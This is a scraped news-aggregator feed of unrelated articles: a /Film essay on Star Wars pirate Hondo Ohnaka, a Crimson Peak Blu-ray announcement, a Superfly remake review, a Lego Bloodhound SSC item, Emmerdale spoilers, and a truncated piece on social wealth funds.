When a side character like Hondo is given a richly developed story arc over a long period of time, it let’s the audience evolve with him. Jim Cummings has voiced the character for nearly a decade. Within the framing of the narrative, Hondo has lived through two decades of upheaval in the galaxy. Even longer, if you count the new Star Wars section of Disney World which showcases Chewbacca making a deal with Hondo to borrow the Millennium Falcon outside the attraction where guests will get to ride the famous ship. All that means is that, every time Hondo pops up, he is slightly less cynical than the time before. But never losing that affable selfishness inherent to his core personality.

Watching Hondo struggle with his conscience makes him an incredibly easy character to root for. Even in his early episodes, when he was constantly kidnapping Jedi, Hondo was so personable that his captives often ended up fighting beside him when a true villain appeared. Like most people, Hondo’s better nature doesn’t always win the day. Sometimes he hurts the people he cares about, or makes a mistake so costly it leaves irreparable scars. Even the official Star Wars databank entry for Hondo acknowledges he’s a bundle of contradictions:

“[H]e maintained a peculiar relationship with the Republic — respecting the Jedi Knights, but not being above robbing them blind or betraying them.”

Star Wars - Hondo Ohnaka

What Stories Could Lucasfilm Tell?

As many as they can imagine. Seventeen appearances (plus a handful of canon comic book and Star Wars Destiny cameos) over an entire lifetime is nothing. For now, let’s just stick with the hooks Lucasfilm has already left behind for future writers to grab onto.

First, there’s Jango Fett. Earlier on in The Clone Wars, Hondo is thrown together with a teenaged Boba Fett. Long story short, Hondo convinces Boba to tell the Jedi where some hostages are because it’s what Jango would’ve wanted his son to do. Hondo tells the young clone that his father was an honorable man. It is never mentioned again. We have no idea how Hondo knew Jango Fett nor in what capacity. Were they mere acquaintances? Friends? Co-workers? If they were close, did Hondo know about Kamino or at least understand that every Clonetrooper looks eerily like his honorable compatriot?

Then there’s Aurra Sing. An infamous and deadly bounty hunter, Aurra is the one who brings Boba Fett into Hondo’s life. Former lovers, Aurra seeks out Hondo’s assistance, which he obviously doesn’t give, per the previous paragraph about honor and hostages. However, audiences are given an inkling of their relationship dynamic when Hondo refuses to even get involved, as that always ends poorly for him, though he is more than happy to extend his hospitality to Aurra and her crew. A polite, but firm, rejection.

Of course, Hondo’s past is a veritable gold mine of potential. What was his childhood like? When did he become a pirate? How does one move up the ranks to become the leader of a pirate planet? Did Hondo scrape his way up or was he born into some kind of pirate royalty? Why does he speak Ugnaught and have a soft spot for the species? What made him the way he is today?

And finally, there’s all the gaps in Hondo’s adulthood. He pops in and out of the cartoons as the narrative needs, but decades of not only surviving but thriving in a galaxy tearing itself apart must have some interesting stories. While Hondo was in the possession of Slave I, where did he go? What was the final nail in the coffin for Hondo’s pirate planet. Did the gang simply disperse or mutiny? What adventures did Hondo have in the interim years where he traveled mostly alone? And just what is his next act now that Star Wars Rebels is complete? If Galaxy’s Edge at Disney World is canon — and it is — Hondo will live long enough for Han Solo to become an adult. So just what was the old pirate up to in the years immediately after the Battle of Yavin? He helped the Rebellion cast off Imperial control of Lothal, an event that took place just one year before the first Death Star was destroyed. Between that and his former escape from Imperial prison, did Hondo go to ground? Continue to assist the Rebellion? Slide back into old bad habits without the moral scaffolding of his friends to hold him up?

Whatever the case, the world definitely needs flowery wit from a Weequay pirate who sounds like Winnie the Pooh with a three pack a day habit.

The post Why the ‘Star Wars’ Pirate Hondo Ohnaka Deserves the Attention of Fans and Lucasfilm appeared first on /Film.

]]> https://briefnews.eu/why-the-star-wars-pirate-hondo-ohnaka-deserves-the-attention-of-fans-and-lucasfilm/feed/ 0 A radical idea for reducing inequality deserves more attention https://briefnews.eu/a-radical-idea-for-reducing-inequality-deserves-more-attention-2/ https://briefnews.eu/a-radical-idea-for-reducing-inequality-deserves-more-attention-2/#respond Fri, 21 Sep 2018 16:47:39 +0000 http://briefnews.eu/a-radical-idea-for-reducing-inequality-deserves-more-attention-2/ A social wealth fund could narrow the gap between the rich and the poor

]]> https://briefnews.eu/a-radical-idea-for-reducing-inequality-deserves-more-attention-2/feed/ 0 A radical idea for reducing inequality deserves more attention https://briefnews.eu/a-radical-idea-for-reducing-inequality-deserves-more-attention/ https://briefnews.eu/a-radical-idea-for-reducing-inequality-deserves-more-attention/#respond Thu, 20 Sep 2018 18:48:51 +0000 http://briefnews.eu/a-radical-idea-for-reducing-inequality-deserves-more-attention/

RECENT decades have not been particularly good ones for those who toil on, rather than own, the means of production. Labour markets have made a slow and incomplete recovery from the trauma of the Great Recession. The crisis only briefly dislodged corporate profits as a share of GDP from historically high levels. Across much of the world, the share of national income flowing to labour has fallen over the past 40 years.

Taxing the rich in order to fund spending on the poor is a straightforward solution to inequality. But the well-heeled are adept at squeezing through tax loopholes, and at marshalling the political clout needed to chip away at high tax rates. Those frustrated by enduring levels of inequality are contemplating ever bolder ways to redress the lopsided balance between owners and workers.

In an ideal world, untrammelled markets would ensure that every firm and every worker earned precisely what they deserved. But as economists since Adam Smith have recognised, markets…

]]> https://briefnews.eu/a-radical-idea-for-reducing-inequality-deserves-more-attention/feed/ 0 ‘Crimson Peak’ Blu-ray From Arrow Video Gives Guillermo del Toro’s Gothic Romance the Love It Deserves https://briefnews.eu/crimson-peak-blu-ray-from-arrow-video-gives-guillermo-del-toros-gothic-romance-the-love-it-deserves/ https://briefnews.eu/crimson-peak-blu-ray-from-arrow-video-gives-guillermo-del-toros-gothic-romance-the-love-it-deserves/#respond Sat, 01 Sep 2018 17:32:09 +0000 http://briefnews.eu/crimson-peak-blu-ray-from-arrow-video-gives-guillermo-del-toros-gothic-romance-the-love-it-deserves/ crimson peak blu-ray

Crimson Peak suffered at the box office, primarily because of poor marketing. The gloriously gothic romance was sold as a straight-up horror film, and that’s not exactly what Guillermo del Toro was delivering. A vocal cult following for the film has sprung up since the theatrical release, and now Arrow Video is set to distribute a Crimson Peak Blu-ray that gives the movie the attention it deserves.

Crimson Peak

I love Crimson Peak with every fiber of my being. It’s a creepy, ornate, romantic film loaded with ghosts, gore and big billowing dresses. I know the film was poorly marketed, but that doesn’t mean the movie itself is bad. In fact, I dare say this is my favorite Guillermo del Toro movie. Mia Wasikowska is an aspiring novelist who falls for a very mysterious, very pale baronet Tom Hiddleston. Hiddelston takes her from America back to his huge, spooky, crumbling English mansion Allerdale Hall. Wasikowska soon discovers Allerdale Hall is chock-full of ghosts, but the specters are the least of her problems. She also has to deal with her husband’s sister, played with gleeful over-the-top menace by Jessica Chastain.

Arrow Video is set to release a gorgeous new Crimson Peak Blu-ray full of special features, all housed in an intricate display package. The release will also include a “limited edition 80-page, hard-bound book featuring new writing by David Jenkins and Simon Abrams, an archival interview with Guillermo del Toro, and original conceptual design illustrations by artists Guy Davis and Oscar Chichoni.” I already own this on Blu-ray, but you better believe I’m double-dipping. Here are the full list of features, plus a look at the artwork.

Crimson Peak Arrow Blu-ray

Crimson Peak Arrow Blu-ray 1

Crimson peak arrow blu-ray 2

• High Definition Blu-ray (1080p) presentation 

• Original 5.1 and 7.1 DTS-HD Master Audio and optional English 2.0 DTS Headphone:X Audio

• Optional English subtitles for the deaf and hard of hearing 

• Optional Descriptive Video Service® (DVS®) for the visually impaired 

• Audio commentary by co-writer and director Guillermo Del Toro

• The House is Alive: Constructing Crimson Peak, a newly edited, feature-length documentary with cast and crew interviews and extensive behind the scenes footage

• Previously unseen Spanish language interview with Guillermo Del Toro

• The Gothic Corridor, The Scullery, The Red Clay Mines, The Limbo Fog Set; four featurettes exploring different aspects of Allerdale Hall 

• A Primer on Gothic Romance, the director and stars talk about the key traits of Gothic romance.

• The Light and Dark of Crimson Peak, the cast and crew talk about the film’s use of color

• Hand Tailored Gothic, a featurette on the film’s striking costumes 

• A Living Thing, a look at the design, modelling and construction of the Allerdale Hall sets

• Beware of Crimson Peak, a walking tour around Allerdale Hall with Tom Hiddleston

• Crimson Phantoms, a featurette on the film’s amazing ghosts 

• Kim Newman on Crimson Peak and the Tradition of Gothic Romance, a newly filmed interview with author and critic

• Violence and Beauty in Guillermo Del Toro’s Gothic Fairy Tale Films, a new video essay by the writer Kat Ellinger

• Deleted scenes

• Original trailers and TV spots

• Double-sided, fold-out poster 

• Six double-sided, postcard-sized lobby card reproductions

• Limited Edition packaging newly designed by Crimson Peak concept artist Guy Davis

• Limited edition 80-page, hard-bound book featuring new writing by David Jenkins and Simon Abrams, an archival interview with Guillermo del Toro, and original conceptual design illustrations by artists Guy Davis and Oscar Chichoni

The Arrow Crimson Peak Blu-ray is available for pre-order now, and will be released on or about November 27, 2018.

The post ‘Crimson Peak’ Blu-ray From Arrow Video Gives Guillermo del Toro’s Gothic Romance the Love It Deserves appeared first on /Film.

]]> https://briefnews.eu/crimson-peak-blu-ray-from-arrow-video-gives-guillermo-del-toros-gothic-romance-the-love-it-deserves/feed/ 0 ‘Superfly’ Review: A Great Cast Deserves Better Than This Entertaining But Extremely Flawed Remake https://briefnews.eu/superfly-review-a-great-cast-deserves-better-than-this-entertaining-but-extremely-flawed-remake/ https://briefnews.eu/superfly-review-a-great-cast-deserves-better-than-this-entertaining-but-extremely-flawed-remake/#respond Fri, 22 Jun 2018 20:30:54 +0000 http://briefnews.eu/superfly-review-a-great-cast-deserves-better-than-this-entertaining-but-extremely-flawed-remake/ Superfly review

When Sony announced it was making a modern, Atlanta-set version of Super Fly (re-styling it as Superfly), it didn’t come as a surprise. We’re in the midst of a blaxploitation craze. Tons of film and television projects are in development based upon 1970s black action movies – films that were often criticized for their stereotypical portrayals of black people, but applauded for bringing stories centered on black people into the spotlight.

A new Shaft film starring Jessie T. Usher will be released in 2019. Underground co-creator Misha Green is developing a new Cleopatra Jones film at Warner Bros. Power creator Courtney Kemp was recently developing a reboot of Get Christie Love! starring Kylie Bunbury, and Hulu is reportedly working on a reboot of Foxy Brown starring Meagan Good.

Since the project was first announced, I was never completely against a Super Fly remake. If updated to modern times and made like a Power-esque crime drama, I always thought there could be a market for it. But just because I thought it could work doesn’t mean we actually needed a remake.

For the most part, Superfly follows the original’s plot. A pretty boy cocaine dealer named Youngblood Priest wants to get out of “the life,” but hopes to make one last deal that will have him set for good. Popular music video director Director X (real name Julian Christian Lutz), who made his feature film directorial debut with 2015’s Across the Line, is behind the film. Three of the hottest young black stars in Hollywood are in the: Trevor Jackson as Youngblood Priest, Jason Mitchell as Priest’s right hand man Eddie, and Lex Scott Davis as Georgia, Priest’s lover and one-third of their polygamous relationship. So how did it turn out?

superfly trailer

A Well-Cast Remake That Doesn’t Maximize Its Potential

Somewhere inside of Superfly is an incredibly compelling story, but with the final version, we get a cheesy, campy, and even ridiculous remake that doesn’t leave viewers with anything new. At the same time, though, the movie is entertaining and watchable aside from its obvious flaws.

As a film, Superfly doesn’t take itself too seriously. From the moment Priest jumped on screen and put one of his lower-level dealers (Allen Maldonado) in his place by piercing words of gossip, I knew I’d have to look at the film as a satire — and I don’t necessarily mean that in a bad way. The events that take place in this film are as far as from reality as they can be. We see Priest somehow follow his mentor and supplier (Michael K. Williams) to Mexico without being caught, he comes face-to-face with the Mexican drug cartel, infiltrates them with more gossip, blackmails the coke-snorting Atlanta mayor, and (spoiler alert) escapes to Montenegro. And those are just the main highlights!

The three key actors – Jackson, Mitchell, and Davis – are great here, and seem to even do more than what is asked of them. When Jackson was first cast, brows were raised. For one, actor Ron O’Neal, the original Youngblood Priest, was in his mid-30s when he played the role. Jackson is a mere 21 years old. The young actor, who is also an R&B singer coming off of a new album release, told Variety that he wanted to be a part of the film so much, he auditioned for it a second time after being told he was too young and didn’t have a big enough name. “I auditioned twice, but I was told I was too young and I didn’t have a big enough name. I was [later] invited to [producer] Joel Silver’s house, and I was told I got the role,” he said.

Any thoughts that Jackson wouldn’t rise to the occasion should be dispelled. We already knew that he had the comedic chops (he stars alongside Yara Shahidi in the hit black-ish spinoff, grown-ish) and can bring the drama (he went toe-to-toe with Regina King in the second season of ABC’s American Crime). This role brings out yet another side of Jackson as he utilizes an understated approach to bring the whispering, smooth, and conflicted dealer to life. In reality, it still probably would have made sense for the role to go to an actor that is a few years older, but again, we’re not really dealing with that much reality in Superfly, so for these purposes, it works.

Meanwhile, this is also an unexpected role for Mitchell, who is coming off of Oscar- and Emmy-worthy performances both on television (The Chi) and in film (Mudbound). Here, he serves as the movie’s primary comedic voice, a part in which he excels and displays a stark departure from most of his previous roles.

As for Davis, she is a surefire star waiting in the wings. She was set in a buzzed-about ABC magic drama pilot, For Love, which the network unfortunately passed on, but we’ll next see her in Universal’s The First Purge, which is due in theaters next month.

Superfly 2

These Actors Deserved Better

Jackson, Mitchell, Davis, and occasionally Michael K. Williams are often required to do the heavy lifting and are frequently paired with actors who do not have the same range. The only supporting players who showed a bit of promise were Terayle Hill (Star) as one of the members of Snow Patrol and Adryan Rae (Atlanta), but they don’t last very long.

Also, Priest’s ripped-from-Twitter, poly relationship is fit for 2018’s trending topics, but only Jackson and Davis shine on screen in that trio. Davis’ performance is so good it sometimes makes you forget the stereotypes and dated tropes placed upon women in the film. Once Upon a Time star Jennifer Morrison appears like you’ve never seen her before as a corrupt cop, which comes off as a bit goofy at first, but once you realize we are in a “trap-xploitation” wonderland and not aiming for reality, it perhaps makes a bit more sense. Even so, the multiple celebrity cameos that are inserted throughout the film, including Rick Ross, Zaytoven, Lecrae, and Big Boi, seem out of place.

Superfly is at its most entertaining when its three leads interact. In the film’s laugh-worthy moments, there seems to be a buddy comedy element between Jackson and Mitchell that should have been amplified more. The actors deserve kudos for creating a convincing camaraderie and chemistry, despite the movie’s uneven tone. Their work is so strong that the brutal slaughter of several members of a rival sect, orchestrated by Mitchell’s Eddie, believably turns into a quasi-heartfelt moment of love and loyalty.

Davis is sorely underused, which is disappointing because the potential was there. Her character, Georgia, is an art dealer and pillar of the Atlanta community, used as a front for Priest’s operations. How intriguing would it have been to have her closer to the center of the film, and in fact, be a drug kingpin herself and a rival to (or boss of) Jackson’s Priest? What if she was the centerpiece of the three-person relationship? Now that is what a Superfly 2018 should have looked like.

Yes, many have criticized this film and even the original Super Fly for glorifying drugs and organized crime. Stereotypes are just as present here (possibly even more so) than the 1972 original: pretty much every black man who appears in the film is a drug dealer, and pretty much every black woman in the film is used as a prop to advance the story of the men. But again, the potential was there for something more: Cynthia (Andrea Londo) is a master markswoman, and Georgia is a college-educated businesswoman, but all of their talents and endeavors advance Priest’s goals – even if those goals are theoretically supposed to help them all in the long run.

The movie even attempts to hit on racism and police brutality when one of Priest’s dealers, Fat Freddie, is gunned down by the corrupt cops. These social commentaries ebb and flow in and out of Alex Tse’s problematic script, and while they frankly don’t matter in the grand scheme of things, it is still admittedly exciting to see Priest “take down the man.”

One of the hottest stars in hip-hop right now, the Atlanta-bred Future, was selected to produce and curate the soundtrack. Anyone with even the slightest familiarity with the original Super Fly knows that the soundtrack was epic, and if you don’t know or even like the original film, you have different knowledge and feelings about its music, which was produced by Curtis Mayfield. While it would be blasphemous to compare what Future has concocted to Mayfield’s opus in any way, the Future-led set served its purpose. With the Atlanta backdrop and tracks derived from today’s radio, it makes sense and fits in with the gloss and trappings of this stylish remake. In the context of Superfly, its a near-perfect soundtrack with nearly no misses.

Superfly 3

Superfly is Glossy and Watchable, But Leaves No Impact

Director X is known for being a prolific director creating music videos for the likes of Jay-Z, Drake, Nicki Minaj, Rihanna, and more. Superfly makes sense as Director X’s second flick: it’s a glossy, fast-paced affair, clocking in at just under two hours. It literally moves like a long music video. The setting is moved from Harlem to the black millennial haven of Atlanta, Georgia, but with as much as the A-Town offers, the city is rarely put to use beyond a few nighttime cityscape shots. It doesn’t come off as an Atlanta that enthralls moviegoers.

If only the glitz, glam, and trap sensibility of the remake could have fully updated the blaxploitation stereotypes of old. In 2018, an update for the film should have also considered the impact of their cocaine escapades on the community at large. Director X smartly let Jackson, Mitchell, and Davis take the wheel, leading to the super solid performances that give the film whatever amount of cred you’re willing to give it. The end result is a pristinely-crafted remake with solid lead performances that is not hard to watch, but still could have been better. As aggravated and disappointed as I was through so many moments throughout the movie, I was perplexed and confused at the jubilation I felt once Priest, Georgia, and Eddie were able to be free. Superfly is an agreeable watch, but just prepare to be conflicted by the time you leave the theater.

The post ‘Superfly’ Review: A Great Cast Deserves Better Than This Entertaining But Extremely Flawed Remake appeared first on /Film.

]]> https://briefnews.eu/superfly-review-a-great-cast-deserves-better-than-this-entertaining-but-extremely-flawed-remake/feed/ 0 1000 mph Bloodhound SSC totally deserves this Lego model https://briefnews.eu/1000-mph-bloodhound-ssc-totally-deserves-this-lego-model/ https://briefnews.eu/1000-mph-bloodhound-ssc-totally-deserves-this-lego-model/#respond Mon, 19 Feb 2018 20:37:11 +0000 http://briefnews.eu/1000-mph-bloodhound-ssc-totally-deserves-this-lego-model/

Much like speed record attempts, there have been earlier Lego Ideas tryouts for the Bloodhound SSC Land Speed Record Car. And the most recent one is really quite good – good enough to gain backing and boost from the Bloodhound SSC team itself.

The real-life Bloodhound SSC is designed to reach 1000 miles per hour, thanks to its Eurojet EJ200 jet engine, a Nammo rocket cluster, a supercharged Jaguar V8 engine driving its rocket fuel oxidizer pump and a very brave driver behind the wheel. The Lego model, on the other hand, consists of 775 pieces and it’s sturdy enough to play with – like its salt flats counterpart, it’s not meant to just sit around.

Over at ideas.lego.com, the project has gained 372 supporters with just under 400 days left. If this is the sort of model you would like to be putting together, lend it a bit of support.

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]]> https://briefnews.eu/1000-mph-bloodhound-ssc-totally-deserves-this-lego-model/feed/ 0 Emmerdale spoilers: Rhona and Pete KISS but fans aren't happy ‘She deserves better' https://briefnews.eu/emmerdale-spoilers-rhona-and-pete-kiss-but-fans-arent-happy-she-deserves-better/ https://briefnews.eu/emmerdale-spoilers-rhona-and-pete-kiss-but-fans-arent-happy-she-deserves-better/#respond Sat, 27 Jan 2018 00:22:16 +0000 http://briefnews.eu/emmerdale-spoilers-rhona-and-pete-kiss-but-fans-arent-happy-she-deserves-better/

The pair were scheduled to go on a date after Rhona (played by Zoe Henry) bid on Pete (Anthony Quinlan) during a charity auction but the Barton brother fell asleep. 

Tonight, Rhona’s co-worker and friend Vanessa Woodfield (Michelle Hardwick) scolded Pete for standing her up and convinced him to make an effort with her. 

And the farmer finally got his chance to ask Rhona out when he found himself in a spot of trouble. 

He could be seen struggling to herd a flock of sheep into a field when Rhona arrived in her jeep. 

The pair worked together to get the sheep off the road and Pete tried to complement Rhona but ended up red-faced.

Rhona could be seen laughing as she walked off but was forced to return to help Pete when his car wouldn’t start. 

Despite their best attempts, they were unable to get the engine going once again and had to call for help. 

As Rhona left the farmer once more, he stepped forward and the pair shared a short but sweet kiss. 

Fans flocked to social media to comment on their blossoming romance and the latest pairing on the soap. 

Unfortunately for the new couple, many fans are not convinced, with some claiming Rhona “deserves better”. 

One viewer shared: “Interesting pairing. I don’t think its going anywhere relationship wise I think its gonna be all about sex and I can see Pete getting Rhona pregnant that’s what I think will come out of this story #Emmerdale.”

Another added: “Rhona and Pete? Give me a break #Emmerdale.”

“Pete and Rhona is just weird #Emmerdale,” a third continued.

Someone else tweeted: “Rhona deserves someone better than boring pete #emmerdale.”

However there were some who are excited to see how the romance unfolds, with one fan declaring: “Just putting it out there..I quite like Rhona and Pete #emmerdale.”

Another continued: “Not gonna lie, I’m loving Rhona and Pete #Emmerdale.”

continues Monday on ITV at 7pm. 

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